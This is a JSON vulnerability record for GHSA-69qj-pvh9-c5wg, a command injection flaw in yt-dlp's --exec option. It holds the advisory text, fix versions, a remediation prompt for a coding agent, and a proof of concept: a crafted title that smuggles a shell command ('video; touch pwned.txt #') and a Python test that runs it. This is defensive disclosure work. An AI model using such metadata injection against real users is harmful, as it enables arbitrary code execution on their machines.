{"answers":{"affected":"2 open source packages ship an affected version, including yt-dlp.","exploited":"There is no known exploitation of GHSA-69qj-pvh9-c5wg in the wild and no public exploit code.","fix":"Upgrade yt-dlp to 2026.6.9 or later.","what":"GHSA-69qj-pvh9-c5wg is a command injection vulnerability in yt-dlp, published on 16 Jun 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link."},"fix_prompt":"Check this codebase for GHSA-69qj-pvh9-c5wg and fix it if it is affected.\n\nWhat it is: GHSA-69qj-pvh9-c5wg is a command injection vulnerability in yt-dlp, published on 16 Jun 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.\nExploitation: There is no known exploitation of GHSA-69qj-pvh9-c5wg in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- yt-dlp (PyPI): affected from 2021.4.11; fixed in 2026.6.9\n- yt-dlp (PyPI): affected from 2021.4.11; fixed in 2026.6.9\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-69qj-pvh9-c5wg/ (Markdown: https://insights.sbomify.com/GHSA-69qj-pvh9-c5wg/index.md)","id":"GHSA-69qj-pvh9-c5wg","markdown":"https://insights.sbomify.com/GHSA-69qj-pvh9-c5wg/index.md","name":"GHSA-69qj-pvh9-c5wg","record":{"aliases":[],"analysis":{"component_type":"developer_tool","fix_type":"upgrade","impacts":["code_execution"],"network_reachable":"yes","non_default_config":true,"product_category":"yt-dlp media downloader","requires_auth":"none","summary":"Attackers can execute arbitrary commands on user machines via malicious metadata if users configure yt-dlp with unsafe --exec string formatting options.","user_interaction":"required","vuln_class":"command_injection"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\nyt-dlp's `--exec` option is vulnerable to arbitrary command injection when handling untrusted metadata if the argument uses standard string formatting (e.g. `%(title)s`) or other unsafe conversions. An attacker could achieve remote code execution on the user's machine via maliciously crafted metadata containing quotes or other special shell characters.\n\n### Details\nSince yt-dlp version 2021.04.11, the `--exec` option has supported \"output template syntax\", which is a superset of Python's `printf`-style string formatting also used by the `--output` option. This means the user is able to pass a \"command template\" as an argument to the `--exec` option which will be executed by the user's shell. The command template allows for the downloaded video's metadata to be interpolated into the command string.\n\nyt-dlp implements a `%()q` conversion, which will shell-quote/escape any metadata value such that it is safe to be interpolated into a command string. However, there are unsafe conversions such as `%()s` which result in the command template being formatted with the raw metadata string. These unsafe conversions do not perform any sanitization or escaping for shell contexts. If one or more of these unsafe conversions is used in the command template, an attacker can craft a malicious metadata value containing shell operators (e.g. `;`, `\u0026`, `|`) to break out of the intended command and execute payload commands.\n\n### Impact\n\nThe impact is limited to users who pass an `--exec` command template containing unsafe conversions in their yt-dlp command or configuration file: `%()s`, `%()a`, `%()r`, `%()j`, `%()S` (including any of their flagged variants.)\n\n### Patches\n\nyt-dlp version 2026.06.09 fixes this issue by restricting the conversions that can be used in an `--exec` command template to those known to be safe: `%()d`, `%()i`, `%()f`, `%()q` (including any of their flagged variants.) It also restricts the characters that can be used in command template defaults and placeholders when the user passes an `--exec` argument containing output template syntax.\n\n### Workarounds\n\nThis vulnerability can be fully mitigated by doing any of the following:\n\n- Upgrade yt-dlp to version 2026.06.09 or later\n- Only use safe conversions (e.g. `%()d`, `%()i`, `%()f`, `%()q`) in any `--exec` command templates\n- Do not use \"output template syntax\" in any `--exec` arguments\n- Do not use the `--exec` option\n\n### Proof-of-Concept\n\n1. An attacker sets the title of a video to a malicious payload, e.g.: `video; touch pwned.txt #`\n2. The victim downloads this video using yt-dlp with the `--exec` flag.\n\nReproduction steps (simulated):\n1.  Create a python script poc.py to simulate the internal behavior:\n\n```bash\nimport unittest\nimport os\n\nfrom yt_dlp.postprocessor.exec import ExecPP\nfrom yt_dlp.YoutubeDL import YoutubeDL\nfrom yt_dlp.utils import PostProcessingError\n\n# Import Popen to use the REAL one for the PoC (to actually create the file)\nfrom yt_dlp.utils import Popen as RealPopen\n\nclass TestDemonstrativePoC(unittest.TestCase):\n    FILE_NAME = \"PWNED.txt\"\n\n    def setUp(self):\n        # Remove the file if it exists\n        if os.path.exists(self.FILE_NAME):\n            os.remove(self.FILE_NAME)\n\n    def test_1_demonstrate_vulnerability_simulated(self):\n        \"\"\"\n        Simulates the code BEFORE the fix to show what would happen.\n        \"\"\"\n        print(\"\\n--- TEST 1: Simulating vulnerable state ---\")\n\n        # 1. Define the vulnerable Parse Method\n        def vulnerable_parse_cmd(self, cmd, info):\n            # This mimics the code before my patch\n            tmpl, tmpl_dict = self._downloader.prepare_outtmpl(cmd, info)\n            if tmpl_dict:\n                return self._downloader.escape_outtmpl(tmpl) % tmpl_dict\n            return cmd\n\n        # 2. Patch the class temporarily\n        original_parse_cmd = ExecPP.parse_cmd\n        ExecPP.parse_cmd = vulnerable_parse_cmd\n\n        info = {\n            'id': '1234',\n            # MALICIOUS TITLE:\n            # 1. 'video' gets echoed\n            # 2. ; separator\n            # 3. touch PWNED.txt creates the file\n            # 4. # comments out the rest\n            'title': f'video; touch {self.FILE_NAME} #',\n            'ext': 'mp4',\n            'filepath': 'video.mp4'\n        }\n\n        ydl = YoutubeDL({'verbose': False, 'quiet': True})\n\n        try:\n            print(f\"[*] Payload Title: {info['title']}\")\n            print(\"[*] Executing: echo %(title)s\")\n\n            # Use the REAL Popen to actually execute shell commands\n            import yt_dlp.postprocessor.exec\n            original_popen_ref = yt_dlp.postprocessor.exec.Popen\n            yt_dlp.postprocessor.exec.Popen = RealPopen\n\n            pp = ExecPP(ydl, 'echo %(title)s')\n            pp.run(info)\n\n            # Restore Popen ref\n            yt_dlp.postprocessor.exec.Popen = original_popen_ref\n\n            # Check if file was created\n            if os.path.exists(self.FILE_NAME):\n                print(f\"[!] VULNERABILITY CONFIRMED: File '{self.FILE_NAME}' was created on disk!\")\n            else:\n                print(\"[?] File not created. Payload might have failed.\")\n\n        finally:\n            # Restore the secure method\n            ExecPP.parse_cmd = original_parse_cmd\n\nif __name__ == '__main__':\n    unittest.main()\n```\n2. Run the script: `python3 poc.py`\n3. Check the directory. A file named `PWNED.txt` will be created, proving arbitrary command execution.\n\n\u003cimg width=\"1386\" height=\"757\" alt=\"poc\" src=\"https://github.com/user-attachments/assets/b21a1dd9-f86d-4836-861b-7e880f639c08\" /\u003e","ecosystems":["PyPI"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"yt-dlp: Arbitrary command injection possible if --exec option used with yt-dlp","id":"GHSA-69qj-pvh9-c5wg","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"PyPI","product":null,"products":[],"type":"command_injection","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"PyPI","fixed":["2026.6.9"],"introduced":["2021.4.11"],"last_affected":[],"package":"yt-dlp","purl":null,"source":"GHSA-69qj-pvh9-c5wg"},{"ecosystem":"PyPI","fixed":["2026.6.9"],"introduced":["2021.4.11"],"last_affected":[],"package":"yt-dlp","purl":"pkg:pypi/yt-dlp","source":"GHSA-69qj-pvh9-c5wg"}],"products":null,"published":"2026-06-16","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Attackers can execute arbitrary commands on user machines via malicious metadata if users configure yt-dlp with unsafe --exec string formatting options.","url":"https://insights.sbomify.com/GHSA-69qj-pvh9-c5wg/"}